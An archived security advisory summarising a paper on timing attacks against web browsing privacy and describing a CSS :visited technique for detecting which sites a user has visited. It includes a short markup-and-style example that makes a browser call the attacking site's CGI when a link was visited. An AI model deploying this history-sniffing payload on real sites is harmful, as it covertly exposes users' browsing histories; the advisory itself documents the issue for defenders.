

The Wayback Machine - <https://web.archive.org/web/20021020062537/http://www.securiteam.com:80/securit...>  
Beyond-Security's SecuriTeam.com

[SecuriTeam Home](#)  
[About SecuriTeam](#)  
[Ask the Team](#)  
[Advertising info](#)  
[Security News](#)  
[Security Reviews](#)  
[Exploits](#)  
[Tools](#)  
[UNIX focus](#)  
[Windows NT focus](#)

Search 

1. [Chrooting Daemons and System Processes HOW-TO](#)
2. [Hacking Citrix Frequently Asked Questions](#)
3. [Designing Shellcode Demystified](#)
4. [Buffer Overflow Demystified](#)
5. [A Buffer Overflow Study - Attacks & Defenses](#)



[E-Mail this article to a friend](#)  
[Send us comments](#)

 [Quicken Loans Best Of The Web](#)

**Title**

20/2/2002

## Timing Attacks on Web Privacy (Paper and Specific Issue)

**Summary**

In the article: <http://www.cs.princeton.edu/sip/pub/webtiming.pdf>, Felten and Schneider outline a method for pages on an attacking server to detect whether pages on another server have been visited, by trying to fetch a URL from the target server and using the time taken to fetch it to guess whether the URL was in the browser's local cache. A method is also suggested to use the browser cache, read this way, as a store for persistent user data ("cache cookies"). CSS has a feature that can be abused to exactly the same ends. It is simpler, more accurate, and more easily abused than the timing attacks described in the above paper.

**Details**

### Abstract of the paper:

The paper describes a class of attacks that can compromise the privacy of users' Web-browsing histories. The attacks allow a malicious Web site to determine whether the user has recently visited some other, unrelated Web page. The malicious page can determine this information by measuring the time the user's browser requires performing certain operations. Since browsers perform various forms of caching, the time required for operations depends on the user's browsing history; this paper shows that the resulting time variations convey enough information to compromise users' privacy. This attack method also allows other types of information gathering by Web sites, such as a more invasive form of Web "cookies". The attacks we describe can be carried out without the victim's knowledge and most "anonymous browsing" tools fail to prevent them. Other simple countermeasures also fail to prevent these attacks. The paper describes a way of reengineering browsers to prevent! most of them.

### Specific issue:

The CSS :visited pseudo-class can be used to apply different on-screen styling to links leading to pages the user has already visited. However, the styling can have side effects that can be detected by the attacking server. For example, the page at <http://www.smith-widgets.foo/> could include the following markup:

```
<a id="jones" href="http://www.jones-widgets.foo"></a>
```

With the style:

```
#jones:visited { background: url(/visited.cgi?site=jones); }
```

In this case, the side effect of the style will be a call to the CGI at smith-widgets if the user has visited jones-widgets. The script there could log this information, associate it with any cookies passed, and then return a transparent background image set to expire soon.

Any property that can be given with a <uri> parameter could be abused this way. CSS2



